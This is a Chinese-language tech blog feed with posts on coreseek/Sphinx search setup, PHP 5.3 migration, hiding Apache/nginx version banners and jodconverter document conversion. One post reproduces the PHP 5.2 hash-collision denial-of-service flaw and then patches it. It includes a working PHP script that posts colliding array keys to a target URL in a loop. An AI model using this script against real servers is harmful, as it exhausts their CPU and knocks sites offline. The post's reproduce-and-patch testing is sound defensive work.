在 coreseek 安装目录有一个API 目录，里面有三个PHP 文件：test.php ，test2.php 和sphinxapi.php 。 sphinxapi.php 是sphinx 调用接口封装文件（这个文件就是官方提供的php 调用API ），test.php 是一个在命令行下执行的查询例子文件，test2.php 是一个生成摘要的例子文件。

8. 配置 sphinx.conf

具体参见sphinx.conf 的注释说明

9. 启动服务

建立索引

/var/eyou/coreseek/bin/indexer --config /var/eyou/coreseek/etc/sphinx.conf

启动 searchd 服务

/var/eyou/coreseek/bin/searchd --config /var/eyou/coreseek/etc/sphinx.conf

二、附录 ：全文检索----coreseek

1. 全文搜索与数据库搜索的区别

o 专为全文搜索优化，效率更高
由于典型的数据库系统要考虑用户的“增删改查”等多种复杂操作，因此其存取数据的方式需要考察综合考虑各种应用；而全文搜索的数据存取方式只考虑快速读取，相比数据库的查询，要快10 倍或更多。（即使启用了数据库内置的全文搜索功能，这个结论仍成立）。

o 支持复杂的查询表达式
数据库系统的查询，往往只支持“AND ” 或 "OR" 等有限的模式，而全文检索不但支持"AND" 、“OR ” 查询，还支持“NOT ”、“近似”、 “整句”等多种查询方式；同时相比数据库系统，进行在一定范围内查询时也更高效

o 支持按相关度排序
数据库查询出的结果，往往按照数据库内置的排序规则进行排序，往往只能按时间、按点击等有效的排序规则进行；全文搜索除了能够支持数据库的排序规则外，还支持按照结果的相关度排序，这往往会给访问者带来更大的便利。

o 支持中文分词
数据库提供的全文搜索功能往往不支持中文分词（或仅提供二元切分），导致某些短语检索不到或出现大量不相干的数据；中文全文检索系统支持中文分词，进一步过滤了不相干的数据。

2. 自建全文搜索与使用Google 等第三方网站提供的站内全文搜索的区别

o 对网站设备有要求
自建全文搜索往往需要站长有至少一台独立主机，而使用第三方提供的全文搜索对站点的要求低，虚拟主机即可；不过，出现全文搜索需求的站点通常已经有自己的独立主机了。

o 索引更新更及时
由于搜索服务在第三方托管，其往往只能按照一定的规则定期更新索引库（往往是几小时、甚至几天才更新一次索引），您网站上的新出现的内容往往不能及时被搜索到；
使用自建全文搜索，可以保证您网站上新出现的内容可以”立即“被检索到。

o 更适应您的网站
由于中文需要进行分词的特性，导致没有一套通用的词库可以适用于全部网站，要得到优秀的检索结果需要定制一套适用于您网站的词库；
采用第三方的搜索服务，您是无法修改第三方厂商的词库的，而使用自建全文搜索则无此问题。

o 更有利于您网站的数据整合
有些网站不止是论坛，往往还包括内容管理(CMS) 、商城等多种应用，而使用数据库搜索往往需要用户在各个系统中都进行搜索才能找到内容；
第三方的检索无法区别各个系统的不同。而自建的全文搜索可以有效的区分各个数据来源的不同数据，真正做到一次搜索应有尽有，从而改善您网站的访问体验，增加您网站的点击率。

o 避免您的访问者遇到某些尴尬
第三方的搜索结果页面不是您可以控制修改的，有推荐一些可能会使您网站访问者尴尬的搜索短语的可能。而使用自建全文搜索则完全无此问题。

小马歌 2012-03-16 10:29 发表评论

PHP Hash冲突，造成CPU 100%,完全解决方案

小马歌 — Mon, 27 Feb 2012 11:18:00 GMT

今天抽空研究了一个前不久，出的一个BUG，PHP 5.2/5.3 Hash漏洞,造成一台机器就可以DDOS攻击互联网上的PHP网站。

我们先看下环境，这个网站是LAMP架构，PHP版本是5.2.17。

PHP未打补丁前，服务器CPU情况，目前是2.1%的使用率。

我们在这台web服务器上编写一个PHP程序，目的是要测试机去Hash它，以便故障重现。
程序语言如下：
echo $showtime=date("Y-m-d H:i:s");
?>
执行后的效果是取当前服务器的时间。

找台有PHP环境的测试机器，这台机器我用虚拟机，里面有LAMP环境。进/usr/local/apache/htdocs目录，写一PHP网页，程序语言如下：
[root@blog htdocs]# Vi hash.php

$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}

$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

url地址，为你要作测试的目标机，i<100，表示最多100个并发。手工执行hash.php，进行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

在web服务器端，我们去看服务器的资源利用情况，CPU是97.6%，看样子单台虚拟机，拿100并发去Hash，就足够把web服务器的CPU利用率升至100%。

Cpu到了100%，网站是什么情况呢。我们再浏览该台web服务器，点网站上面的链接，反应正常，估计是这台web服务器本身没有一点压力，所以看不出来。把并发量调到10000，再测下，刚才是100并发。

刷新checktime.php页面，可以很快显示，网站正常。但此时web服务器cpu已是100%

结论，我是用个人博客作目标机，因为个人博客，目前只有几个人访问，没有压力，所以即使，通过10000并发的Hash，CPU上到100%，个人博客打开的速度，还是相当快。

打上补丁，我们再观察一下。
1、先查下以后在搭建环境时，PHP的编译参数

2、到网上去下载一个PHP补丁，下载地址为：
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars

3、根据个人平台的版本号，点击进去，注意，不要在它上面点右键，另存为，否则你down下的是一个html文件，文件名倒是php-5.2.17-max-input-vars.patch。
在新弹出的页面点“raw”,就会打开这个补丁文件。

把里面的内容复制，我这里只截了它一小部分。然后在web服务器上新建一个文件，php-5.2.17-max-input-vars.patch，里面就是刚复制的。

4、进php的原始安装目录，我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些，清理一下。

5、打补丁并重新编译一下php

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make，每个环境不一样
再make install

6、重启一下apache，看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

访问一下，web服务器的phpinfo.php，查看PHP环境有没有变化。大家可以在最上面看到，PHP版本后带了个P1。这个还不够，我们再用Hash碰撞一下，看cpu会不会上100%。

在测试机上，还是取并发10000，去Hash web服务器。发现web服务器的CPU一直保持在0.5%。

问题解决！

小马歌 2012-02-27 19:18 发表评论

PHP5.3 为何不建议使用split()函数

小马歌 — Mon, 27 Feb 2012 08:46:00 GMT

本地开发用到的php版本一定要和服务器版本一样，否则上传后会出现很多问题。

本地测试的程序上传到服务器出现很多错误，Deprecated: Function split() is deprecated
查了原因是因为PHP的版本不同所导致的，本身程序开发的时候用的是PHP5.2以下版本，而现在空间上用的是PHP5.3的版本，很多PHP函数已经过时不能用了，这里的这个错误原因就是函数split()在 PHP5.3 中已经不建议使用了。

PHP5.3 split() 不建议使用的原因：
PHP 5.3.0 之后的regex, 希望使用PCRE 的规格, POSIX Regex 都不建议使用了(统一Regex, 避免规格太多).

所以下述是不建议使用的Function (POSIX), 与建议替换成的Function (PCRE) 列表, 详可见: http://www.php.net/manual/en/reference.pcre.pattern.posix.php

* POSIX → PCRE
* ereg_replace() → preg_replace()
* ereg() → preg_match()
* eregi_replace() → preg_replace()
* eregi() → preg_match()
* split() → preg_split()
* spliti() → preg_split()
* sql_regcase() → No equivalent

PHP split() 替代方案
* 需要regex 的split, 可用preg_split() 代替
* 不需要regex, 只要要快速分割固定的字串, 可用explode() 代替. (速度会比需要regex 的快很多)

小马歌 2012-02-27 16:46 发表评论

从 PHP V5.2 升级到 PHP V5.3 迁移

小马歌 — Mon, 27 Feb 2012 08:43:00 GMT

文章转自PHP5研究室，作者：John Mertic

------------------

“PHP V5.3 中的新特性” 系列文章将持续介绍该发行版提供的令人兴奋的新特性。第 1 部分介绍了 PHP 5.3 中对面向对象编程及对象处理所做的更改，第 2 部分介绍了闭包函数及 lambda 函数。第 3 部分探讨了名称空间，这是该 PHP 版本中最令人期待也是最具争议的特性之一。在第 4 部分中，我们进一步研究了 Phar，这是一种用于 PHP 的归档格式。在本系列的最后一部分中，了解从 PHP V5.2 升级到 PHP V5.3 时要考虑的一些事情。PHP V5.3 中的一些变化破坏了向后兼容性，有些特性在 PHP V5.3 中不受支持，在将来的版本中将被取消。本文还介绍 PHP V5.3 对 PHP 中一些已有特性的增强。

简介

本系列着重介绍 PHP V5.3 中的新特性，例如名称空间、闭包、对象管理、面向对象编程和 Phar。虽然这些动人的新特性作为该语言的增补广受欢迎，但 PHP V5.3 同时也是为进一步优化 PHP 而设计的。它构建在流行、稳定的 PHP V5.2 的基础上，并对该语言作了增强，使之更加强大。在本文中，了解 PHP V5.3 中的变化，以及从 PHP V5.2 升级到 PHP V5.3 时需要考虑的一些事情。

语法变化

该语言新增了名称空间和闭包，增加了更多的保留字。从 PHP V5.3 开始，namespace 不再用作标识符。closure 类现在是一个保留类，但它仍然可以作为有效的标识符。清单 1 显示了一些例子，由于新增的保留字的缘故，有些语句在 PHP V5.3 中不再有效。

清单 1. 无效的 PHP 语句


// the function definition below will throw a fatal error in PHP 5.3, but is perfectly 
// valid in 5.2
function namespace() 
{
....
}

// same with this class definition
class Closure
{
....
}

PHP V5.3 中还增加了对 goto 语句的支持。现在，goto 是一个保留字。goto 语句在现代语言中不太常见（您也许记得在 BASIC 中如何使用 goto），但是有些情况下，goto 语句的确方便。清单 2 显示了一个如何使用 goto 语句的例子。

清单 2. PHP 中的 goto 语句


echo "This text will get outputted";
goto a;

echo "This text will get skipped";

a:
echo "This text will get outputted";

goto 的一个可能的用例是中断深度嵌套的循环和 if 语句。这将使代码阅读起来清晰很多。

函数和方法的变化

在 PHP V5.3 中，函数和方法没有大的变化，但还是有一些增强，以帮助解决 PHP 中的一些突出问题并提高性能。本节讨论一些较为显著的变化。

在之前版本的 PHP 中，数组函数 atsort、natcasesort、usort、uasort、uksort、array_flip 和 array_unique 可以以参数形式传递对象而不是数组。然后，这些函数将对象的属性当做数组的键和值。PHP V5.3 中不再支持这一点，所以需要首先将对象转换成数组。清单 3 展示了如何修改代码。

清单 3. 为某些函数修改代码，将对象转换成数组


$obj = new stdClass;
$obj->a = '1';
$obj->b = '2';
$obj->c = '3';

print_r(array_flip($obj)); // will NOT work in PHP 5.3, but will in PHP 5.2

print_r(array_flip((array) $obj)); // will work in PHP 5.3 and 5.2

魔术类方法现在受到更严格的限制。下面的方法必须具有公共可见性：

__get
__set
__isset
__unset
__call

现在，当在静态上下文中使用 __call 时，为了应对上述变化，可以使用新的 __callStatic() 魔术方法。除了不接受参数的 __isString() 魔术方法以外，这些方法的必需参数都是强制性的，并且必须提供。清单 4 显示了如何使用这些方法以及它们的必需参数。

清单 4. 使用魔术方法


class Foo
{
    public function __get($key) {} // must be public and have one parameter
    public function __set($key,$val) {} // must be public and have two parameters

    public function __toString() {} must be public and have no parameters
}

在 Windows 上，有些函数之前在 PHP 中不受支持，现在在 PHP V5.3 中获得支持。例如，getopt() 函数用于解析从命令行调用 PHP 脚本时使用的选项。用于编码和解码 Internet 地址的 inet_ntop() 和 inet_pton() 函数，现在也可以在 Windows® 上使用。还有一些数学函数，例如 asinh()、acosh()、atanh()、log1p() 和 expm1()，现在在 Windows 上也受支持。

扩展的变化

PHP Extension C Library（PECL）一直都是 PHP 中的新扩展的来源地。当一个扩展已经成熟和稳定，并且被认为可以成为核心发行版中一个有用的功能，那么它通常在重大的版本变更时被添加进来。根据这条规则，从 PHP V5.3 开始，下面的扩展会成为核心 PHP 发行版中的一部分。

FileInfo: 提供帮助检测文件的内容类型和编码的函数，这些函数通过查看文件中的某些魔术字节字符序列进行检测。
intl: International Components for Unicode（ICU）库的一个包装器，提供用于 unicode 和全球化支持的函数。
Phar: 第 4 部分中讨论过的一个 PHP 归档工具。
mysqlnd: 用于 MySQL 数据库访问的一个本地 PHP 驱动程序，是早期利用 libmysql 库的 MySQL 和 MySQLi 扩展的替代物。
SQLite3: 用于使用 SQLite V3 数据库的一个库。

当一个扩展不再受到积极的维护，或者被认为不值得随核心 PHP 发行版一起发行时，它通常被转移到 PECL。在 PHP V5.3 的改造过程中，下面这些扩展被踢出核心 PHP 发行版，而放在 PECL 中进行维护。

ncurses: 对 curses 的模拟，用于在命令行显示图形化的输出。
fpdf: 用于在 PDF 文档中构建和使用表单和表单数据。
dbase: 提供读写 dbase 兼容文件的支持。
fbsql: 支持 Frontbase 数据库服务器上的数据库访问。
ming: 一个开源库，用于创建 Flash 4 动画。

Sybase 扩展已经被完全移除，取而代之的是 sybase_ct 扩展。sybase_ct 扩展与前者完全兼容，应该是一个简易替代者（drop-in replacement）。这个更新的功能将使用 Sybase client 库，需要将这些库安装在 Web 服务器上。

构建的变化

PHP V5.3 着重改善了构建过程，因此更容易在所有平台上构建 PHP。为了维护 PHP 构建之间的一致性，并提供一组可靠的组件，在构建中不再禁用 PCRE、Reflection 和 SPL 扩展。现在，可以构建可分发的 PHP 应用程序，它们将使用这些扩展并且保证这些扩展是可用的。

一个新的团队在去年接管了 PHP Windows 构建。这个小组将为 Windows 上的用户提供一些改进。新的构建将以 586 架构（Intel® Pentium® 或更高型号）为目标，并要求 Windows 2000/XP 或更高版本，另外去掉了对 Windows 98/NT 及之前版本的支持。将构建使用 Microsoft® Visual Studio® 2008 构建的 PHP 构建和针对 x86-64 架构的构建。当和 Microsoft IIS Web 服务器上的 FastCGI 或者和 Apache 一起使用时，在使用相同的编译器和架构进行构建的情况下，它们可以提供更高的性能。Windows 安装程序也将有所改进，以便更好地在 Microsoft IIS Web 服务器上配置 PHP。该团队专门为 Windows 上的 PHP 建立了一个网站（参见参考资料）。

.ini 的变化

PHP 的一个重要特性是，可以使用 .ini 文件配置它的行为。在 PHP V5.3 中，与这个文件有关的一些有问题的指令已经被删除，例如 zend.ze1_compatibility_mode。现在，在使用这个文件时，灵活性有了巨大的提高。

对于 php.ini 文件有两个重大的改进：

在 php.ini 文件中可以使用变量。这对于减少该文件的冗余非常方便，必要时更新文件也更加方便。清单 5 显示了一个例子。

清单 5. php.ini 文件中的变量
foo = bar

[section]
newfoo = ${bar}
foo 和 newfoo 有相同的值。

和用 Apache 配置文件进行设置一样，可以进行 per-directory 和 per-site PHP ini 设置。这样做的优点是，在所有不同的可运行 PHP 的 SAPI 中，语法都是一致的。清单 6 显示了如何进行 PHP ini 设置。

清单 6. per-site 和 per-directory .ini 设置


[PATH=/var/www/site1] 

; directives here only apply to PHP files in the /var/www/site1 directory 

[HOST=www.example.com] 

; directives here only apply to PHP files requested from the www.example.com site.

还可以像对待 Apache HTTP Web 服务器上的 .htaccess 文件一样，在用户指定的、位于文件系统的 .ini 文件中创建这些 .ini 指令。这个文件的默认文件名由 user_ini.filename 指令指定。通过将这条指令设置为空值，可以禁用该特性。在用户指定的 .ini 文件中，任何 per-site 和 per-directory 指令都不能被覆盖。

放弃的特性

PHP V5.3 开始正式放弃一些较旧的函数，将来版本的 PHP 中将不再提供它们。当使用这些函数时，会遇到 E_DEPRECATED 错误。以下函数在 PHP V5.3 中被遗弃：

tick（declare(ticks=N) 和 register_tick_function()），之前用于在 declare() 块中当解析器每执行 n 条语句时就进行一个函数调用。它们将被废除，因为它们的函数中有很多的中断，而且该特性不大常用。
define_syslog_variables()，该函数初始化所有与 syslog 相关的变量。该函数不是必需的，因为它定义的常量已经被全局定义。废除这个函数调用应该是有必要的。
ereg 正则表达式函数。建议使用 PCRE 正则表达式函数替代，因为它们更快，并且与其他语言和应用程序中使用的正则表达式更加一致。对 ereg 函数的支持将被废除，以使 PHP 可以标准化地使用一个正则表达式引擎。

建议在迁移到 PHP V5.3 时移除这些特性。将来主要的 PHP 发行版将取消对上述特性的支持。

结束语

PHP V5.3 有很多新的特性，同时也 “清除” 了一些内容。另外也存在一些向后兼容的问题。本文为将 Web 应用程序迁移到 PHP V5.3 提供了一些指南。要了解最新的关于 PHP V5.3 的详细信息，请参阅 PHP wiki，其中提供了可能影响到应用程序的任何其他变化的说明。

小马歌 2012-02-27 16:43 发表评论

隐藏nginx apache和php的版本信息不显示

小马歌 — Mon, 27 Feb 2012 08:06:00 GMT

web server避免一些不必要的麻烦，可以把apache和php的版本信息不显示

隐藏 Apache 版本信息

/etc/apache2/apache2.conf 或 /etc/httpd/conf/httpd.conf

ServerTokens ProductOnly
ServerSignature Off

重启 apache
现在 http 头里面只看到:
Server: Apache

=====================

nginx

#vi nginx.conf
在http 加上 server_tokens off;

如下：

http {
……省略配置
sendfile on;
tcp_nopush on;
keepalive_timeout 65;
tcp_nodelay on;
server_tokens off;
…….省略配置
}

=======================

隐藏 PHP 版本
php.ini

expose_php On
改成
expose_php Off

重启apache后，php版本在http头中隐藏了。

详解：

为了防止某些别有用心的家伙窥视我们的服务器，应该做些什么.
我们来看一下相关的2个参数，分别为ServerTokens和ServerSignature,通过控制这2个阀门应该就能起到一些作用，比如我们可以在配置文件中这么写：
ServerTokens Prod
ServerSignature Off

ServerTokens
用于控制服务器是否相应来自客户端的请求，向客户端输出服务器系统类型或内置模块等重要的系统信息。在主配置文件中提供全局控制默认阀值为"Full" (ServerTokens Full），所以，如果你的Linux发行版本没有更改过这个阀值的话，所有与你的系统有关的敏感信息都会向全世界公开。比如RHEL会将该阀值更改为"ServerTokens OS"，而Debian依然使用默认的"Full"阀值
以apache-2.0.55为例，阀值可以设定为以下某项（后面为相对应的Banner Header)：
Prod >>> Server: Apache
Major >>> Server: Apache/2
Minor >>> Server: Apache/2.0
Minimal >>> Server: Apache/2.0.55
OS >>> Server: Apache/2.0.55 (Debian)
Full (or not specified) default >>> Server: Apache/2.0.55 (Debian) PHP/5.1.2-1+b1 mod_ssl/2.0.55 OpenSSL/0.9.8b

ServerSignature
控制由系统生成的页面（错误信息，mod_proxy ftp directory listing等等）的页脚中如何显示信息。

可在全局设置文件中控制，或是通过.htaccess文件控制
默认为"off"(ServerSignature Off),有些Linux发行版本可能会打开这个阀门，比如Debian在默认的虚拟主机上默认将这个阀门设置为开放
全局阀门的阀值会被虚拟主机或目录单位的配置文件中的阀值所覆盖，所以，必须确保这样的事情不应该发生
可用的阀值为下面所示：
Off (default): 不输出任何页脚信息（如同Apache1.2以及更旧版本，用于迷惑）
On:输出一行关于版本号以及处于运行中的虚拟主机的ServerName (2.0.44之后的版本，由ServerTokens负责是否输出版本号）
EMail: 创建一个发送给ServerAdmin的"mailto"

注意＊上述关于如何设置2个阀门从而尽量减少敏感信息泄露的方法，并不会使你的服务器真的更安全，如果你现在使用的版本比较旧，请务必尽快将系统升级，降低被蠕虫攻击的风险。

隐藏server信息

cd /usr/local/src/nginx-0.5.35/src/core/
[root@zyatt core]# cat nginx.h
/*
* Copyright (C) Igor Sysoev
*/
#ifndef _NGINX_H_INCLUDED_
#define _NGINX_H_INCLUDED_
#define NGINX_VERSION    "1.0"
#define NGINX_VER       "LPKWS/" NGINX_VERSION
#define NGINX_VAR       "LPKWS"
#define NGX_OLDPID_EXT    ".oldbin"
#endif /* _NGINX_H_INCLUDED_ */
测试效果
C:\curl-7.18.0>curl.exe -I 211.100.11.122/info.php

HTTP/1.1 200 OK
Server: LPKWS/1.0
Date: Tue, 11 Mar 2008 04:53:02 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.4

还有更彻底的编译安装

修改src/core/nginx.h

#define NGINX_VERSION "1.0.5"

#define NGINX_VER "nginx/" NGINX_VERSION

#define NGINX_VAR "NGINX"

修改src/http/ngx_http_header_filter_module.c48-49
static char ngx_http_server_string[] = "Server: nginx" CRLF;
static char ngx_http_server_full_string[] = "Server: nginx" CRLF;

修改src/http/ngx_http_special_response.c

staticu_char ngx_http_error_tail[]="

nginx"CRLF

""CRLF

;

嘿嘿，接下来就编译安装吧！不过修改源码后还有1个地方要修改哦，Nginx的FastCGI配置文件fastcgi.conf

fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;

常用Web Server版本名称：

Microsoft-IIS
GWS或GFE
Apache

Lighttpd

1. Lighttpd 1.4.20
src/response.c:108 改为：
buffer_append_string_len(b, CONST_STR_LEN("Server: jufukeji"));
输出 Header：
HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Mon, 12 Jan 2009 13:54:02 GMT
Server: jufukeji

2. Nginx 0.7.30
src/http/ngx_http_header_filter_module.c:48-49 改为：
static char ngx_http_server_string[] = "Server: jufukeji" CRLF;
static char ngx_http_server_full_string[] = "Server: jufukeji" CRLF;
输出 Header：
HTTP/1.1 200 OK
Server: jufukeji
Date: Mon, 12 Jan 2009 14:01:10 GMT
Content-Type: text/html
Content-Length: 151
Last-Modified: Mon, 12 Jan 2009 14:00:56 GMT
Connection: keep-alive
Accept-Ranges: bytes

3. Cherokee 0.11.6
cherokee/version.c:93 添加：
ret = cherokee_buffer_add_str (buf, "jufukeji");
return ret;
输出 Header：
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=15
Date: Mon, 12 Jan 2009 14:54:39 GMT
Server: jufukeji
ETag: 496b54af=703
Last-Modified: Mon, 12 Jan 2009 14:33:19 GMT
Content-Type: text/html
Content-Length: 1795

4. Apache 2.2.11
server/core.c:2784 添加：
ap_add_version_component(pconf, "jufukeji");
return;
输出 Header：
HTTP/1.1 200 OK
Date: Mon, 12 Jan 2009 14:28:10 GMT
Server: jufukeji
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "1920edd-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 44
Content-Type: text/html

5. Squid 3.0 STABLE 11
src/globals.cc:58 改为：
const char *const full_appname_string = "jufukeji";
输出 Header：
HTTP/1.0 400 Bad Request
Server: jufukeji
Mime-Version: 1.0
Date: Mon, 12 Jan 2009 15:25:15 GMT
Content-Type: text/html
Content-Length: 1553
Expires: Mon, 12 Jan 2009 15:25:15 GMT
X-Squid-Error: ERR_INVALID_URL 0
X-Cache: MISS from 'cache.hutuworm.org'
Via: 1.0 'cache.hutuworm.org' (jufukeji)
Proxy-Connection: close

6. Tomcat 6.0.18
java/org/apache/coyote/http11/Constants.java:56 和 java/org/apache/coyote/ajp/Constants.java:236 均改为：
ByteChunk.convertToBytes("Server: jufukeji" + CRLF);
输出 Header：
HTTP/1.1 200 OK
Server: jufukeji
ETag: W/"7857-1216684872000"
Last-Modified: Tue, 22 Jul 2008 00:01:12 GMT
Content-Type: text/html
Content-Length: 7857
Date: Mon, 12 Jan 2009 16:30:44 GMT

7. JBoss 5.0.0 GA
a. tomcat/src/resources/web.xml:40 改为
jufukeji
b. 下载 JBoss Web Server 2.1.1.GA srctar （http://www.jboss.org/jbossweb/downloads/jboss-web/）
java/org/apache/coyote/http11/Constants.java:56 和 java/org/apache/coyote/ajp/Constants.java:236 均改为：
ByteChunk.convertToBytes("Server: jufukeji" + CRLF);
将编译所得 jbossweb.jar 覆盖 JBoss 编译输出文件：
JBOSS_SRC/build/output/jboss-5.0.0.GA/server/all/deploy/jbossweb.sar/jbossweb.jar
JBOSS_SRC/build/output/jboss-5.0.0.GA/server/standard/deploy/jbossweb.sar/jbossweb.jar
JBOSS_SRC/build/output/jboss-5.0.0.GA/server/default/deploy/jbossweb.sar/jbossweb.jar
JBOSS_SRC/build/output/jboss-5.0.0.GA/server/web/deploy/jbossweb.sar/jbossweb.jar
输出 Header：
HTTP/1.1 200 OK
Server: jufukeji
X-Powered-By: jufukeji
Accept-Ranges: bytes
ETag: W/"1581-1231842222000"
Last-Modified: Tue, 13 Jan 2009 10:23:42 GMT
Content-Type: text/html
Content-Length: 1581
Date: Tue, 13 Jan 2009 10:30:42 GM

小马歌 2012-02-27 16:06 发表评论

多线程ppt|doc|docx|pptx转换pdf 【转】

小马歌 — Sat, 11 Feb 2012 12:47:00 GMT

今天给我的转换服务器更新openoffice版本的时候·也顺便搜索了下jodconverter的版本·在官网上目前还是 2.2.2 版本·但是在 google 的时候发现了 code 上有 3.0的版本·就立刻下载下来在虚拟机器上做测试，测试后发现 3.0版本的 jodconverter 做的很不错·支持了服务器多进程，也就说明可以多线程转换了，避免了转换排队现象。

1.下载安装 openoffice 3.2,我的环境是ubuntu所以下载的是deb包，如果你是centos请下载rpm包。

ppt2pdf $> wget http://download.services.openoffice.org/files/localized/zh-CN/3.2.1/OOo_3.2.1_Linux_x86_install-deb_zh-CN.tar.gz ppt2pdf $> tar zxvf OOo_3.2.1_Linux_x86_install-deb_zh-CN.tar.gz ppt2pdf $> cd OOO320_m18_native_packed-1_zh-CN.9502 ppt2pdf $> cd DEBS ppt2pdf $> dpkg -i *.deb

2.然后下载中文字库防止乱码

ppt2pdf $> apt-get install language-pack-zh language-support-fonts-zh

3.下载jodconverter-core-3.0-beta-3-dist.zip（此步骤可滤过次步骤只是测试转换是否成功）

ppt2pdf $> wget http://jodconverter.googlecode.com/files/jodconverter-core-3.0-beta-3-dist.zip ppt2pdf $> unzip jodconverter-core-3.0-beta-3-dist.zip #然后用winscp 上传一个 ppt上来转换· ppt2pdf $> ls daodan.ppt   jodconverter-core-3.0-beta-3 ppt2pdf $> java -jar jodconverter-core-3.0-SNAPSHOT/lib/jodconverter-core-3.0-SNAPSHOT.jar daodan.ppt 1.pdf Dec 29, 2010 4:39:29 PM org.artofsolving.jodconverter.office.ProcessPoolOfficeManager  INFO: ProcessManager implementation is UnixProcessManager Dec 29, 2010 4:39:29 PM org.artofsolving.jodconverter.office.OfficeProcess start INFO: starting process with acceptString 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1' and profileDir '/tmp/.jodconverter_socket_host-127.0.0.1_port-2002' Dec 29, 2010 4:39:30 PM org.artofsolving.jodconverter.office.OfficeProcess start INFO: started process; pid = 7108 Dec 29, 2010 4:39:30 PM org.artofsolving.jodconverter.office.OfficeConnection connect INFO: connected: 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1' Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.ProcessPoolOfficeManager stop INFO: stopping Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.OfficeConnection$1 disposing INFO: disconnected: 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1' Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.ManagedOfficeProcess doEnsureProcessExited INFO: process exited with code 0 Dec 29, 2010 4:39:45 PM org.artofsolving.jodconverter.office.ProcessPoolOfficeManager stop INFO: stopped ppt2pdf $> ls 1.pdf  daodan.ppt   jodconverter-core-3.0-beta-3

#可以用winscp 下载下来查看。
4.下载 jodconverter-tomcat-2.2.2.zip 和 jodconverter-sample-webapp

ppt2pdf $> wget 'http://downloads.sourceforge.net/project/jodconverter/JODConverter/2.2.2/jodconverter-tomcat-2.2.2.zip?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fjodconverter%2Ffiles%2FJODConverter%2F2.2.2%2F&ts=1293612042&use_mirror=nchc'  ppt2pdf $> svn checkout http://jodconverter.googlecode.com/svn/trunk/jodconverter-sample-webapp jodconverter-sample-webapp  解压 jodconverter-tomcat-2.2.2.zip ppt2pdf $> unzip jodconverter-tomcat-2.2.2.zip #删除 2.2.2版本里的web应用程序 ppt2pdf $> rm jodconverter-tomcat-2.2.2/webapps/converter/* -rf  #编译jodconverter-sample-webapp ppt2pdf $> cd jodconverter-sample-webapp/ ppt2pdf $> mvn package #复制编译出来的 web应用程序进 jodconverter-tomcat-2.2.2 ppt2pdf $> cd target/jodconverter-sample-webapp-3.0-SNAPSHOT ppt2pdf $> cp WEB-INF  documentFormats.js  index.jsp ../jodconverter-tomcat-2.2.2/webapps/converter/ -R

5.启动服务

ppt2pdf $> cd jodconverter-tomcat-2.2.2 ppt2pdf $> bin/startup.sh Using CATALINA_BASE:   /root/jodconverter-tomcat-2.2.2 Using CATALINA_HOME:   /root/jodconverter-tomcat-2.2.2 Using CATALINA_TMPDIR: /root/jodconverter-tomcat-2.2.2/temp Using JRE_HOME:       /usr

6.安装 apache php php-pear
#我就用懒人模式安装了·apt-get

ppt2pdf $> apt-get install apache2 php5 php-pear

# 安装 pear 的 Net_URL2

ppt2pdf $> pear install Net_URL2-0.3.1 # 下载安装 HTTP_Request2 ppt2pdf $> wget http://download.pear.php.net/package/HTTP_Request2-0.5.2.tgz ppt2pdf $> tar zxvf HTTP_Request2-0.5.2.tgz ppt2pdf $> cd HTTP_Request2-0.5.2 ppt2pdf $> cp Request2.php /usr/share/php/HTTP/ ppt2pdf $> cp Request2 /usr/share/php/HTTP/ -R

7.创建一个convert.php转换 ppt2pdf 的例子
#打开浏览查看交互页面

#下面我们创建无交互php程序。

ppt2pdf $> cd /var/www ppt2pdf $> vim convert.php

< ?php require_once 'HTTP/Request2.php';  class DocumentConverterClient {      var $url = 'http://localhost:8080/converter/converted/document.pdf';      function convert($inputFile, $outputType) {         $request = new HTTP_Request2($this->url);         $request->setMethod(HTTP_Request2::METHOD_POST)             ->setHeader('Content-Type', 'multipart/form-data')             ->addPostParameter('outputFormat', $outputType)             ->setBody($inputData);         $request->addUpload('inputDocument', $inputFile);          return $request->send()->getBody();     } }  $documentConverter = new DocumentConverterClient();  $inputFile = 'daodan.ppt';               # 要转换的 ppt|doc|pptx|docx $outputFile = 'daodan.pdf';             # 转出来的 pdf $outputType = 'pdf';  $outputData = $documentConverter->convert($inputFile, $outputType); file_put_contents($outputFile, $outputData); ?>

#把传进来的ppt 复制到 www 目录下，给 www 赋予 apache 可写权限

ppt2pdf $> cp ../daodan.ppt /var/www/ ppt2pdf $> chown www-data /var/www

8.打开浏览器测试。

#使用 winscp 下载转好的 pdf 本地查看

PS：他的多线程，我还未测试，我是从编译的时候，发现可以多线程的，再我测试后，会发布。

转载请注明：文章转载自：Eric's linux and nginx! (http://www.nginxs.com)
本文地址：http://www.nginxs.com/linux/393.html

小马歌 2012-02-11 20:47 发表评论

nginx搭建nagios

小马歌 — Sat, 17 Dec 2011 07:20:00 GMT

一.安装nagios这里不做说明

